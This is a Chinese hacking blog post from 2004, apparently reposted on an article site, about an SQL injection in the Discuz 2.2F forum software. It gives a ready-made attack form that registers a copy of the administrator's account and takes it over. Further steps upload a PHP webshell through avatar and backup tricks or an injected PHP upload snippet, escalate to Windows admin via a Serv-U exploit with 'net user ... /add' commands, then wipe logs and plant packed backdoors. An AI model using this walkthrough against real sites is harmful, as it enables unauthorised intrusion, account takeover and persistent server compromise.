DISCUZ漏洞与提升权限
2004-12-17 16:30
561 查看
DISCUZ漏洞与提升权限 |
这个漏洞是孟兄发现的,我在这里感谢他!也感谢ANGEL的分析! DISCUZ 2.2F的这个漏洞在register.php 的代码中:有如下代码: $email = trim($email); if(!$doublee && strstr($email, '@')) { $emailadd = "OR email='$email'"; } 这里是说如果不存在 $doublee 这个变量,并且判断邮件地址格式正确,就 指定 $emailadd 这个变量为 "OR email='$email'" ,为后面的 SQL 语句做准备 。往下有一段代码如下: $query = $db->query("SELECT COUNT(*) FROM $table_members WHERE username='$username' $emailadd "); if($db->result($query, 0)) { showmessage('profile_account_duplicate'); } 默认 $emailadd = "OR email='$email'" 是满足的,所以上面的 SQL 语句 就变成判断用户名和邮箱,有任意一个相同,就提示“该用户名或 Email 地址已 经被注册了,请返回重新填写。” 利用的方法是给 $doublee 赋值,然后就可以饶过 $emailadd = "OR email='$email'" 这句,然后再自己构造 $emailadd 这个变量,这个就是我在本 地表单的 action 构造的原因。 <FORM action="http://172.16.0.125/register.php? emailadd=and uid=100000&doublee=1" method="post"> 然后这个语句到了上面的 SQL 语句那里,就变成: SELECT COUNT(*) FROM $table_members WHERE username='$username' and uid=100000 既然是同时用用户名和用户 ID 判断,那么这个肯定是不成立的了,就可以 顺利跳过 if($db->result($query, 0)) { showmessage('profile_account_duplicate'); } 直接到达这里插入记录: $db->query("INSERT INTO $table_members (........) VALUES (........)"); 也就注册了相同的用户名。然后再看看 memcp.php ,看到更新用户资料的那 里, SQL 语句居然是这样。 UPDATE $table_members SET ...... WHERE username='$discuz_user' 直接修改你注册的和管理员一样的ID 的密码,就达到了修改管理员的密码的 目的。 好了让我们看看最激动人心的时刻-- 具体利用方法 1,在GOOGLE找BY DISCUZ 2.2F,找到后进去,点击会员,找到管理员的ID,将他的ID 添写到UP1.PHP,(UP1.PHP是本地写的: <FORM action="http://ip/register.php?emailadd=and uid=100000&doublee=1" method="post" target="_blank"> 用户名 :<INPUT name=username value="管理员的ID"><br> 密码:<INPUT name=password type=text value="123456"><br> 确认密码:<INPUT name=password2 type=text value="123456"><br> E-mail :<INPUT name=email value="wodezongjie@sina.com"><br> <INPUT type=submit value= 注册 name=regsubmit> </FORM> )的"管理员的ID"处,将网站的地址写到ACTION后面的IP处,保存,然后点击浏览,就 回跳出你个提示页面,如果是"提示信息 该用户名或 Email 地址已经被注册了,请返回重新填写。 [ 点击这里返回上一页 ] "就表示不成功,管理员修改了漏洞,如果是"提示信息 非常感谢您的注册,现在将以会员身份登录论坛。 如果您的浏览器没有自动跳转,请点击这里 "就表示注册和管理员同样的ID成功,呵呵,我们来到"控制面板 "处进去,点"编辑 个人资料"项,修改密码,然后重新登陆你就是管理员了,接下来就是提升权限,我们 登陆到后台管理的地方http://xxxxxxxxx/discuz/admincp.php把你的密码添上, 确定就进去了,节下了两中方法传个PHP的WEBSHELL上去,一,在上传头像处将你的 改成GIF扩展名的WEBSEHLL传上去,然后到后台管理,点数据管理->数据备份,将GIF 格式的WEBSHELL恢复为.PHP格式,这样一个WEBSHELL就有了在/forumdata/木马名 字.PHP,我上传的是ANGEL的PHPSPY.PHP不错,功能多,速度也快,接下来的提升权限 我想菜鸟们都会把,在命令行下打NET START发现开了SERV-U 赶快上传一个SERV-U 本地提升EXP工具到当前目录,添加管理员 :serv-u "net user cookie 123 /add" serv-u "net localgroup administrators cookie /add" 同时我入侵的这个服务 器开了3389,走运1!!赶快登陆3389登陆工具,可爱的桌面出来了,然后就是清扫日 志,放木马,开后门,我觉的那个PHPSPY就是一个好的后门木马,大家也可以自己用 别的好的木马或者后门,上传前记着加壳(保险吗:) 二种提升方法就是利用数据管理的数据库升级和数据备份功能,首先点数据库 升级项,在"请将数据库升级语句粘贴在下面:"下面的文本编辑处写上: INSERT INTO `cdb_forumlinks` (`id`, `displayorder`, `name`, `url`, `note`, `logo`) VALUES ('', '0', '', '', '<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>', ''); 然后点升级数据库,提示' Discuz! 数据结构成功升级。 接下来在数据备份处将forumdata/dz_1111_Vqnys.sql 改成.PHP的扩展名,这样这 个数据库文件就是我们的一个上传SHELL了,高兴呀!然后本地写个提交页:UP1.PHP <form ENCTYPE="multipart/form-data" ACTION="http://ip/forumdata/你的木 马.php" METHOD="POST"> <input NAME="MyFile" TYPE="file"> <input VALUE=" 提交 " TYPE="submit"> </form> 然后提交你的木马就成功了,提升权限同上> |
相关文章推荐
- Symantec 核心驱动 symtdi.sys 本地权限提升漏洞
- 转载的Serv-u 本地权限提升漏洞的终极防御
- Windows Vista再现输入法权限提升漏洞 推荐
- DirtyCow Linux权限提升漏洞分析(CVE-2016-5195)
- Samba NSS_Info插件本地权限提升漏洞
- apache_openssl漏洞的利用及权限的提升
- Serv-U3.X-6.0本地权限提升漏洞的防御方案
- [原创]实践phpbb论坛非法权限提升的漏洞
- Microsoft Windows权限提升漏洞(CVE-2015-1701)
- Microsoft Windows win32k.sys驱动"GreEnableEUDC()"权限提升漏洞,这两天分析下,貌似公布的POC在vista 32位下不稳定,另外,还影响了XP?
- Microsoft IIS文件更改通知本地权限提升漏洞(MS08-005)
- Microsoft Windows CreateFile API命名管道权限提升漏洞
- Java运行时环境字体解析Applet权限提升漏洞
- Windows XP 核心驱动 secdrv.sys 本地权限提升漏洞
- 动网7.x权限提升漏洞原理
- apache_openssl漏洞的利用及权限的提升
- 【漏洞公告】CVE-2017-7669:Apache Hadoop远程权限提升漏洞
- 漏洞播报_MySQL-严重漏洞.再爆MySQL远程ROOT执行和权限提升漏洞?
- MS Windows SeImpersonatePrivilege权限提升漏洞
- NVidia私有Linux驱动发现权限提升漏洞